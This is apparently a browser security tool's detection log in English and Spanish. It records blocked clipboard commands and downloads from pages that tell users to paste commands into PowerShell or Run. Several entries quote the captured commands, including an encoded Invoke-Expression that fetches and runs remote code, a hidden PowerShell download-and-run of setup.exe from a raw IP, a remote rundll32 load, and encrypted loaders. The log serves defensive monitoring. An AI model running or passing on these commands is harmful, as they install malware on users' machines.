| 2026-05-14T16:23:31+00:00 | chatgpt.com | - | Suspicious command detected in the clipboard. Obfuscated or encoded command content detected. Detected snippet: "Before joining a meeting in | pending |
| 2026-05-14T16:23:31+00:00 | chatgpt.com | - | Suspicious command detected in the clipboard. Obfuscated or encoded command content detected. Detected snippet: "Before joining a meeting in Zoom, you can test your camera and microphone in a few ways: Use Zoom’s test meeting page Zoom Test Meeting This lets you: Previe..." Detected snippet: "Runtime verdict: low (21/100)" Detected snippet: "Models URL:0 Content:21 Reputation:0 Brand:0 Vision:0" Detected snippet: "Runtime reason: Obfuscation/evasion pattern found." Detected snippet: "Runtime reason: Clipboard manipulation indicator found." Clipboard blocked: "Before joining a meeting in Zoom, you can test your camera and microphone in a few ways: Use Zoom’s test meeting page Zoom Test Meeting This lets you: Previe..." Confidence score: 34/100 | pending |
| 2026-05-08T10:10:23+00:00 | www.ciopowerlist.com | REINCIDENTE DOM x1 | Comando sospechoso detectado en el portapapeles. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: " $w23='PQOXgY';$x24='74272161053e3f6c6803342023252a3549173525610b022b26382c3d3736393f3b15063731362a2a3a636a022a3b122b392..." Fragmento detectado: "Runtime verdict: low (33/100)" Fragmento detectado: "Models URL:0 Content:33 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Obfuscation/evasion pattern found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: " $w23='PQOXgY';$x24='74272161053e3f6c6803342023252a3549173525610b022b26382c3d3736393f3b15063731362a2a3a636a022a3b122b392..." Puntuación de confianza: 46/100 | pending |
| 2026-05-07T08:33:00+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Detected snippet: "Unsafe download blocked: SSA-5423.zip" Detected snippet: "Unfamiliar download host: socheaphost.com" Detected snippet: "Host matched blocklist." Detected snippet: "Runtime verdict: suspicious (55/100)" Detected snippet: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Detected snippet: "Runtime reason: Unsafe download blocked: SSA-5423.zip" Detected snippet: "Runtime reason: Unfamiliar download host: socheaphost.com" Detected snippet: "Runtime reason: Host matched blocklist." Confidence score: 55/100 | pending |
| 2026-05-07T08:33:00+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Detected snippet: "Unsafe download blocked: RemotePCHost_9H9aGXjN230D6PP (1).exe" Detected snippet: "Blocked extension: .exe" Detected snippet: "Unfamiliar download host: socheaphost.com" Detected snippet: "Host matched blocklist." Detected snippet: "Runtime verdict: unsafe (83/100)" Detected snippet: "Models URL:0 Content:18 Reputation:35 Brand:0 Vision:0" Detected snippet: "Runtime reason: Unsafe download blocked: RemotePCHost_9H9aGXjN230D6PP (1).exe" Detected snippet: "Runtime reason: Blocked extension: .exe" Detected snippet: "Runtime reason: Unfamiliar download host: socheaphost.com" Detected snippet: "Runtime reason: Host matched blocklist." Confidence score: 83/100 | pending |
| 2026-05-07T08:33:00+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Detected snippet: "Unsafe download blocked: RemotePCHost_9H9aGXjN230D6PP.exe" Detected snippet: "Blocked extension: .exe" Detected snippet: "Unfamiliar download host: socheaphost.com" Detected snippet: "Host matched blocklist." Detected snippet: "Runtime verdict: unsafe (83/100)" Detected snippet: "Models URL:0 Content:18 Reputation:35 Brand:0 Vision:0" Detected snippet: "Runtime reason: Unsafe download blocked: RemotePCHost_9H9aGXjN230D6PP.exe" Detected snippet: "Runtime reason: Blocked extension: .exe" Detected snippet: "Runtime reason: Unfamiliar download host: socheaphost.com" Detected snippet: "Runtime reason: Host matched blocklist." Confidence score: 83/100 | pending |
| 2026-05-07T08:33:00+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Detected snippet: "Unsafe download blocked: SSA-5427.zip" Detected snippet: "Unfamiliar download host: socheaphost.com" Detected snippet: "Host matched blocklist." Detected snippet: "Runtime verdict: suspicious (55/100)" Detected snippet: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Detected snippet: "Runtime reason: Unsafe download blocked: SSA-5427.zip" Detected snippet: "Runtime reason: Unfamiliar download host: socheaphost.com" Detected snippet: "Runtime reason: Host matched blocklist." Confidence score: 55/100 | pending |
| 2026-05-07T08:33:00+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Detected snippet: "Unsafe download blocked: RemotePCHost_J9MklNSFfabw39e.exe" Detected snippet: "Blocked extension: .exe" Detected snippet: "Unfamiliar download host: socheaphost.com" Detected snippet: "Host matched blocklist." Detected snippet: "Runtime verdict: unsafe (83/100)" Detected snippet: "Models URL:0 Content:18 Reputation:35 Brand:0 Vision:0" Detected snippet: "Runtime reason: Unsafe download blocked: RemotePCHost_J9MklNSFfabw39e.exe" Detected snippet: "Runtime reason: Blocked extension: .exe" Detected snippet: "Runtime reason: Unfamiliar download host: socheaphost.com" Detected snippet: "Runtime reason: Host matched blocklist." Confidence score: 83/100 | pending |
| 2026-05-06T21:36:20+00:00 | mnepohui.sbs | - | Comando sospechoso detectado en el portapapeles. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "$data6a=[Convert]::FromBase64String('jApg4uCF63uwUpzcDioLpF1igTQNyME67DRwlXa+pJY=');$response4k=[Convert]::FromBase64String('O9KwlfsgokTcawGoOOIklw==');$chun..." Fragmento detectado: "Runtime verdict: low (33/100)" Fragmento detectado: "Models URL:0 Content:33 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Obfuscation/evasion pattern found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "$data6a=[Convert]::FromBase64String('jApg4uCF63uwUpzcDioLpF1igTQNyME67DRwlXa+pJY=');$response4k=[Convert]::FromBase64String('O9KwlfsgokTcawGoOOIklw==');$chun..." Puntuación de confianza: 46/100 | pending |
| 2026-05-06T21:21:20+00:00 | mnepohui.sbs | - | Comando sospechoso detectado en el portapapeles. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "$frame9m=[Security.Cryptography.TripleDES]::Create();$frame9m.Key=[Convert]::FromBase64String('fcYADAutHhRY6nyTvsvaUdu/x8pCJZuJ');$frame9m.IV=[Convert]::From..." Fragmento detectado: "Runtime verdict: low (33/100)" Fragmento detectado: "Models URL:0 Content:33 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Obfuscation/evasion pattern found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "$frame9m=[Security.Cryptography.TripleDES]::Create();$frame9m.Key=[Convert]::FromBase64String('fcYADAutHhRY6nyTvsvaUdu/x8pCJZuJ');$frame9m.IV=[Convert]::From..." Puntuación de confianza: 46/100 | pending |
| 2026-05-06T21:11:20+00:00 | 172.94.9.44 | - | Fragmento detectado: "Unsafe download blocked: build2.exe" Fragmento detectado: "Blocked extension: .exe" Fragmento detectado: "Download served over insecure HTTP." Fragmento detectado: "Download host is an IP address." Fragmento detectado: "Unfamiliar download host: 172.94.9.44" Fragmento detectado: "Runtime verdict: unsafe (65/100)" Fragmento detectado: "Models URL:14 Content:18 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: build2.exe" Fragmento detectado: "Runtime reason: Blocked extension: .exe" Fragmento detectado: "Runtime reason: Download served over insecure HTTP." Fragmento detectado: "Runtime reason: Download host is an IP address." Puntuación de confianza: 65/100 | pending |
| 2026-05-06T21:11:20+00:00 | 172.94.9.44 | - | Fragmento detectado: "Unsafe download blocked: build.exe" Fragmento detectado: "Blocked extension: .exe" Fragmento detectado: "Download served over insecure HTTP." Fragmento detectado: "Download host is an IP address." Fragmento detectado: "Unfamiliar download host: 172.94.9.44" Fragmento detectado: "Runtime verdict: unsafe (65/100)" Fragmento detectado: "Models URL:14 Content:18 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Unsafe download blocked: build.exe" Fragmento detectado: "Runtime reason: Blocked extension: .exe" Fragmento detectado: "Runtime reason: Download served over insecure HTTP." Fragmento detectado: "Runtime reason: Download host is an IP address." Puntuación de confianza: 65/100 | pending |
| 2026-05-06T21:06:21+00:00 | redsbuilding.com.au | - | Comando sospechoso detectado en el portapapeles. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: " $k='2TCKF2';$d='16222126215447696410154b41202626687c57206d182340443d202e165d5b3a3706275c533326391b080807262833405b203a1..." Fragmento detectado: "Runtime verdict: low (33/100)" Fragmento detectado: "Models URL:0 Content:33 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Obfuscation/evasion pattern found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: " $k='2TCKF2';$d='16222126215447696410154b41202626687c57206d182340443d202e165d5b3a3706275c533326391b080807262833405b203a1..." Puntuación de confianza: 46/100 | pending |
| 2026-05-06T21:06:20+00:00 | mnepohui.sbs | - | Comando sospechoso detectado en el portapapeles. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "$content2b=[Security.Cryptography.TripleDES]::Create();$content2b.Key=[Convert]::FromBase64String('f87yrjFLv0oo07xnO9bpELAZsqJqmRNG');$content2b.IV=[Convert]..." Fragmento detectado: "Runtime verdict: low (33/100)" Fragmento detectado: "Models URL:0 Content:33 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Obfuscation/evasion pattern found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "$content2b=[Security.Cryptography.TripleDES]::Create();$content2b.Key=[Convert]::FromBase64String('f87yrjFLv0oo07xnO9bpELAZsqJqmRNG');$content2b.IV=[Convert]..." Puntuación de confianza: 45/100 | pending |
| 2026-05-06T09:31:04+00:00 | bobik.cfd | - | Comando sospechoso detectado en el portapapeles. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "$buffer4k=[Security.Cryptography.TripleDES]::Create();$buffer4k.Key=[Convert]::FromBase64String('n6K4JIQV0bVN+RcyaAYONoSLPHsZdJ3+');$buffer4k.IV=[Convert]::F..." Fragmento detectado: "Runtime verdict: low (33/100)" Fragmento detectado: "Models URL:0 Content:33 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Obfuscation/evasion pattern found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "$buffer4k=[Security.Cryptography.TripleDES]::Create();$buffer4k.Key=[Convert]::FromBase64String('n6K4JIQV0bVN+RcyaAYONoSLPHsZdJ3+');$buffer4k.IV=[Convert]::F..." Puntuación de confianza: 46/100 | pending |
| 2026-05-06T04:38:23+00:00 | provoseoproshub.com | - | Comando sospechoso detectado en el portapapeles. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "$a=[System.Convert]::FromBase64String("aXJtIDk0LjI2LjkwLjIyMS9jaGVja3xJRVg=");$b=[System.Text.Encoding]::UTF8.GetString($a);Invoke-Expression $b" Fragmento detectado: "Runtime verdict: low (33/100)" Fragmento detectado: "Models URL:0 Content:33 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Obfuscation/evasion pattern found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "$a=[System.Convert]::FromBase64String("aXJtIDk0LjI2LjkwLjIyMS9jaGVja3xJRVg=");$b=[System.Text.Encoding]::UTF8.GetString($a);Invoke-Expression $b" Puntuación de confianza: 46/100 | pending |
| 2026-05-06T04:33:23+00:00 | bobik.cfd | - | Comando sospechoso detectado en el portapapeles. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "$data5e=[Convert]::FromBase64String('m6oBxcni3xHGjkRnkNEiiANbHZM5yFHt5klS+94AxnI=');$config7x=[Convert]::FromBase64String('i4lim28MkkETElmQcUlF6g==');$record..." Fragmento detectado: "Runtime verdict: low (33/100)" Fragmento detectado: "Models URL:0 Content:33 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Obfuscation/evasion pattern found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "$data5e=[Convert]::FromBase64String('m6oBxcni3xHGjkRnkNEiiANbHZM5yFHt5klS+94AxnI=');$config7x=[Convert]::FromBase64String('i4lim28MkkETElmQcUlF6g==');$record..." Puntuación de confianza: 51/100 | pending |
| 2026-05-06T04:33:23+00:00 | bobik.cfd | - | Comando sospechoso detectado en el portapapeles. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "$stream4k=[Convert]::FromBase64String('63SQkz7nCaGWr4ty8iMTwHosPUjHZNFAmKV7tcKTEzc=');$stream1c=[Convert]::FromBase64String('y58LWc1f1ZA7OUjFQGY/5w==');$chun..." Fragmento detectado: "Runtime verdict: low (33/100)" Fragmento detectado: "Models URL:0 Content:33 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Obfuscation/evasion pattern found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "$stream4k=[Convert]::FromBase64String('63SQkz7nCaGWr4ty8iMTwHosPUjHZNFAmKV7tcKTEzc=');$stream1c=[Convert]::FromBase64String('y58LWc1f1ZA7OUjFQGY/5w==');$chun..." Puntuación de confianza: 46/100 | pending |
| 2026-05-06T04:33:19+00:00 | provomarketigseo.com | - | Comando sospechoso detectado en el portapapeles. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "$a=[System.Convert]::FromBase64String("aXJtIDk0LjI2LjkwLjIyMS9jaGVja3xJRVg=");$b=[System.Text.Encoding]::UTF8.GetString($a);Invoke-Expression $b" Fragmento detectado: "Runtime verdict: low (33/100)" Fragmento detectado: "Models URL:0 Content:33 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Obfuscation/evasion pattern found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "$a=[System.Convert]::FromBase64String("aXJtIDk0LjI2LjkwLjIyMS9jaGVja3xJRVg=");$b=[System.Text.Encoding]::UTF8.GetString($a);Invoke-Expression $b" Puntuación de confianza: 46/100 | pending |
| 2026-05-06T04:28:23+00:00 | indonesia-recipe.com | - | Comando sospechoso detectado en el portapapeles. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "$a=[System.Convert]::FromBase64String("aXJtIDk0LjI2LjkwLjIyMS9jaGVja3xJRVg=");$b=[System.Text.Encoding]::UTF8.GetString($a);Invoke-Expression $b" Fragmento detectado: "Runtime verdict: low (33/100)" Fragmento detectado: "Models URL:0 Content:33 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Obfuscation/evasion pattern found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "$a=[System.Convert]::FromBase64String("aXJtIDk0LjI2LjkwLjIyMS9jaGVja3xJRVg=");$b=[System.Text.Encoding]::UTF8.GetString($a);Invoke-Expression $b" Puntuación de confianza: 46/100 | pending |
| 2026-05-06T04:28:19+00:00 | bobik.cfd | - | Comando sospechoso detectado en el portapapeles. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "$segment7x=[Convert]::FromBase64String('xMOc/0FniRjnAiJdRaET4U3yE2ZeR25nrWZ2nQfX1Fg=');$packet4k=[Convert]::FromBase64String('oPpTuDeO+tzpTPGexiT3qw==');$ent..." Fragmento detectado: "Runtime verdict: low (33/100)" Fragmento detectado: "Models URL:0 Content:33 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Obfuscation/evasion pattern found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "$segment7x=[Convert]::FromBase64String('xMOc/0FniRjnAiJdRaET4U3yE2ZeR25nrWZ2nQfX1Fg=');$packet4k=[Convert]::FromBase64String('oPpTuDeO+tzpTPGexiT3qw==');$ent..." Puntuación de confianza: 53/100 | pending |
| 2026-05-06T04:28:19+00:00 | bobik.cfd | - | Comando sospechoso detectado en el portapapeles. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "$stream6a=[IO.MemoryStream]::new([Convert]::FromBase64String('jVNdb9owFP0rfogaojYB0rTQRtHU9WNj6igiTH2Y9uDY12DVsTPb0EaM/76bjlVi06S9RFbOOdfHx8fBzJqlBedmFgRY0Ay..." Fragmento detectado: "Runtime verdict: low (33/100)" Fragmento detectado: "Models URL:0 Content:33 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Obfuscation/evasion pattern found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "$stream6a=[IO.MemoryStream]::new([Convert]::FromBase64String('jVNdb9owFP0rfogaojYB0rTQRtHU9WNj6igiTH2Y9uDY12DVsTPb0EaM/76bjlVi06S9RFbOOdfHx8fBzJqlBedmFgRY0Ay..." Puntuación de confianza: 51/100 | pending |
| 2026-05-06T04:28:19+00:00 | bobik.cfd | - | Comando sospechoso detectado en el portapapeles. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "$record6a=[Security.Cryptography.RijndaelManaged]::new();$record6a.Key=[Convert]::FromBase64String('B/UWk3ELTEcTFG2BvoKrg03ZqdHEYnYPFqO+Cxgh5wo=');$record6a...." Fragmento detectado: "Runtime verdict: low (33/100)" Fragmento detectado: "Models URL:0 Content:33 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Obfuscation/evasion pattern found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "$record6a=[Security.Cryptography.RijndaelManaged]::new();$record6a.Key=[Convert]::FromBase64String('B/UWk3ELTEcTFG2BvoKrg03ZqdHEYnYPFqO+Cxgh5wo=');$record6a...." Puntuación de confianza: 46/100 | pending |
| 2026-05-05T16:52:14+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Detected snippet: "Unsafe download blocked: RemotePCHost_9H9aGXjN230D6PP (1).exe" Detected snippet: "Blocked extension: .exe" Detected snippet: "Unfamiliar download host: socheaphost.com" Detected snippet: "Host matched blocklist." Detected snippet: "Runtime verdict: unsafe (83/100)" Detected snippet: "Models URL:0 Content:18 Reputation:35 Brand:0 Vision:0" Detected snippet: "Runtime reason: Unsafe download blocked: RemotePCHost_9H9aGXjN230D6PP (1).exe" Detected snippet: "Runtime reason: Blocked extension: .exe" Detected snippet: "Runtime reason: Unfamiliar download host: socheaphost.com" Detected snippet: "Runtime reason: Host matched blocklist." Confidence score: 83/100 | pending |
| 2026-05-05T16:52:14+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Detected snippet: "Unsafe download blocked: SSA-5423.zip" Detected snippet: "Unfamiliar download host: socheaphost.com" Detected snippet: "Host matched blocklist." Detected snippet: "Runtime verdict: suspicious (55/100)" Detected snippet: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Detected snippet: "Runtime reason: Unsafe download blocked: SSA-5423.zip" Detected snippet: "Runtime reason: Unfamiliar download host: socheaphost.com" Detected snippet: "Runtime reason: Host matched blocklist." Confidence score: 55/100 | pending |
| 2026-05-05T16:52:14+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Detected snippet: "Unsafe download blocked: RemotePCHost_9H9aGXjN230D6PP.exe" Detected snippet: "Blocked extension: .exe" Detected snippet: "Unfamiliar download host: socheaphost.com" Detected snippet: "Host matched blocklist." Detected snippet: "Runtime verdict: unsafe (83/100)" Detected snippet: "Models URL:0 Content:18 Reputation:35 Brand:0 Vision:0" Detected snippet: "Runtime reason: Unsafe download blocked: RemotePCHost_9H9aGXjN230D6PP.exe" Detected snippet: "Runtime reason: Blocked extension: .exe" Detected snippet: "Runtime reason: Unfamiliar download host: socheaphost.com" Detected snippet: "Runtime reason: Host matched blocklist." Confidence score: 83/100 | pending |
| 2026-05-05T16:52:13+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Detected snippet: "Unsafe download blocked: SSA-5427.zip" Detected snippet: "Unfamiliar download host: socheaphost.com" Detected snippet: "Host matched blocklist." Detected snippet: "Runtime verdict: suspicious (55/100)" Detected snippet: "Models URL:0 Content:0 Reputation:35 Brand:0 Vision:0" Detected snippet: "Runtime reason: Unsafe download blocked: SSA-5427.zip" Detected snippet: "Runtime reason: Unfamiliar download host: socheaphost.com" Detected snippet: "Runtime reason: Host matched blocklist." Confidence score: 55/100 | pending |
| 2026-05-05T16:52:13+00:00 | socheaphost.com | REINCIDENTE DOM x26 | Detected snippet: "Unsafe download blocked: RemotePCHost_J9MklNSFfabw39e.exe" Detected snippet: "Blocked extension: .exe" Detected snippet: "Unfamiliar download host: socheaphost.com" Detected snippet: "Host matched blocklist." Detected snippet: "Runtime verdict: unsafe (83/100)" Detected snippet: "Models URL:0 Content:18 Reputation:35 Brand:0 Vision:0" Detected snippet: "Runtime reason: Unsafe download blocked: RemotePCHost_J9MklNSFfabw39e.exe" Detected snippet: "Runtime reason: Blocked extension: .exe" Detected snippet: "Runtime reason: Unfamiliar download host: socheaphost.com" Detected snippet: "Runtime reason: Host matched blocklist." Confidence score: 83/100 | pending |
| 2026-05-04T15:42:25+00:00 | trucybersec.com | - | Comando sospechoso detectado en el portapapeles. Patrón de comando sospechoso detectado. Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "rundll32.exe \\winadapt.verdi7qor.lat\9fd51fb7-b3ad-4c8f-bf05-b5423d14e06c\user_6747.google,run" Fragmento detectado: "Runtime verdict: suspicious (45/100)" Fragmento detectado: "Models URL:0 Content:35 Reputation:0 Brand:10 Vision:0" Fragmento detectado: "Runtime reason: Command execution pattern found." Fragmento detectado: "Runtime reason: Obfuscation/evasion pattern found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Fragmento detectado: "Runtime reason: Brand mismatch: mentions google but host is trucybersec.com." Portapapeles bloqueado: "rundll32.exe \\winadapt.verdi7qor.lat\9fd51fb7-b3ad-4c8f-bf05-b5423d14e06c\user_6747.google,run" Puntuación de confianza: 46/100 | pending |
| 2026-05-04T15:27:27+00:00 | tomselman.com | - | Comando sospechoso detectado en el portapapeles. Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: " $k='1Vsuh12C';$d='152045175056437e160d200c1b45572e1f18160146625731473f1010385e5b2d451b121b095657316c6c49260d52473158220..." Fragmento detectado: "Runtime verdict: low (21/100)" Fragmento detectado: "Models URL:0 Content:21 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Obfuscation/evasion pattern found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: " $k='1Vsuh12C';$d='152045175056437e160d200c1b45572e1f18160146625731473f1010385e5b2d451b121b095657316c6c49260d52473158220..." Puntuación de confianza: 29/100 | pending |
| 2026-05-04T15:22:25+00:00 | libertiestours.ie | - | Comando sospechoso detectado en el portapapeles. Patrón de comando sospechoso detectado. La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "cmd /c start /min "" powershell -WindowStyle Hidden -NoProfile -c "$Upadk='%APPDATA%\setup.exe'; irm 80.96.59.233/u/setup.exe -o $Upadk; & $Upadk" # Press EN..." Fragmento detectado: "Runtime verdict: suspicious (47/100)" Fragmento detectado: "Models URL:0 Content:47 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: Command execution pattern found." Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Obfuscation/evasion pattern found." Fragmento detectado: "Runtime reason: Clipboard manipulation indicator found." Portapapeles bloqueado: "cmd /c start /min "" powershell -WindowStyle Hidden -NoProfile -c "$Upadk='%APPDATA%\setup.exe'; irm 80.96.59.233/u/setup.exe -o $Upadk; & $Upadk" # Press EN..." Puntuación de confianza: 63/100 | pending |
| 2026-05-01T20:45:14+00:00 | extranet.bolipuertos.gob.ve | - | Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "Non-HTML content probe (application/pdf)" Fragmento detectado: "Filename: concursouni.pdf" Fragmento detectado: "Extension: .pdf" Fragmento detectado: "Download served over insecure HTTP." Fragmento detectado: "Unfamiliar download host: extranet.bolipuertos.gob.ve" Fragmento detectado: "Runtime verdict: low (8/100)" Fragmento detectado: "Models URL:8 Content:0 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: URL uses insecure HTTP." Puntuación de confianza: 10/100 | pending |
| 2026-05-01T20:45:13+00:00 | extranet.bolipuertos.gob.ve | - | Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "Non-HTML content probe (application/pdf)" Fragmento detectado: "Filename: defensas12y13.pdf" Fragmento detectado: "Extension: .pdf" Fragmento detectado: "Download served over insecure HTTP." Fragmento detectado: "Unfamiliar download host: extranet.bolipuertos.gob.ve" Fragmento detectado: "Runtime verdict: low (8/100)" Fragmento detectado: "Models URL:8 Content:0 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: URL uses insecure HTTP." Puntuación de confianza: 10/100 | pending |
| 2026-05-01T20:40:19+00:00 | extranet.bolipuertos.gob.ve | - | La página te pide pegar comandos en CMD/PowerShell/Ejecutar. Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "Non-HTML content probe (application/pdf)" Fragmento detectado: "Filename: SROP_VIRUS.pdf" Fragmento detectado: "Extension: .pdf" Fragmento detectado: "Download served over insecure HTTP." Fragmento detectado: "Unfamiliar download host: extranet.bolipuertos.gob.ve" Fragmento detectado: "Runtime verdict: low (34/100)" Fragmento detectado: "Models URL:8 Content:16 Reputation:0 Brand:10 Vision:0" Fragmento detectado: "Runtime reason: URL uses insecure HTTP." Fragmento detectado: "Runtime reason: Shell execution hint found." Fragmento detectado: "Runtime reason: Obfuscation/evasion pattern found." Fragmento detectado: "Runtime reason: Brand mismatch: mentions meta but host is extranet.bolipuertos.gob.ve." Puntuación de confianza: 34/100 | pending |
| 2026-05-01T20:40:18+00:00 | extranet.bolipuertos.gob.ve | - | Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "Non-HTML content probe (application/pdf)" Fragmento detectado: "Filename: SROP_CIERRE.pdf" Fragmento detectado: "Extension: .pdf" Fragmento detectado: "Download served over insecure HTTP." Fragmento detectado: "Unfamiliar download host: extranet.bolipuertos.gob.ve" Fragmento detectado: "Runtime verdict: low (18/100)" Fragmento detectado: "Models URL:8 Content:0 Reputation:0 Brand:10 Vision:0" Fragmento detectado: "Runtime reason: URL uses insecure HTTP." Fragmento detectado: "Runtime reason: Brand mismatch: mentions meta but host is extranet.bolipuertos.gob.ve." Puntuación de confianza: 18/100 | pending |
| 2026-05-01T20:40:18+00:00 | extranet.bolipuertos.gob.ve | - | Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "Non-HTML content probe (application/pdf)" Fragmento detectado: "Filename: SERVICIO%20DE%20MANTENIMIENTO%20DE%20ASEO%20Y%20LIMPIEZA%20DE%20LAS%20INSTALACIONES%20DEL%20EDIFICIO.pdf" Fragmento detectado: "Extension: .pdf" Fragmento detectado: "Download served over insecure HTTP." Fragmento detectado: "Unfamiliar download host: extranet.bolipuertos.gob.ve" Fragmento detectado: "Runtime verdict: low (8/100)" Fragmento detectado: "Models URL:8 Content:0 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: URL uses insecure HTTP." Puntuación de confianza: 10/100 | pending |
| 2026-05-01T20:40:18+00:00 | extranet.bolipuertos.gob.ve | - | Se detectó contenido de comandos ofuscado o codificado. Fragmento detectado: "Non-HTML content probe (application/pdf)" Fragmento detectado: "Filename: SERVICIO%20DE%20ARRENDAMIENTO%20DE%20EQUIPOS%20DE%20IMPRESION%20Y%20COPIADO.pdf" Fragmento detectado: "Extension: .pdf" Fragmento detectado: "Download served over insecure HTTP." Fragmento detectado: "Unfamiliar download host: extranet.bolipuertos.gob.ve" Fragmento detectado: "Runtime verdict: low (8/100)" Fragmento detectado: "Models URL:8 Content:0 Reputation:0 Brand:0 Vision:0" Fragmento detectado: "Runtime reason: URL uses insecure HTTP." Puntuación de confianza: 10/100 | pending |
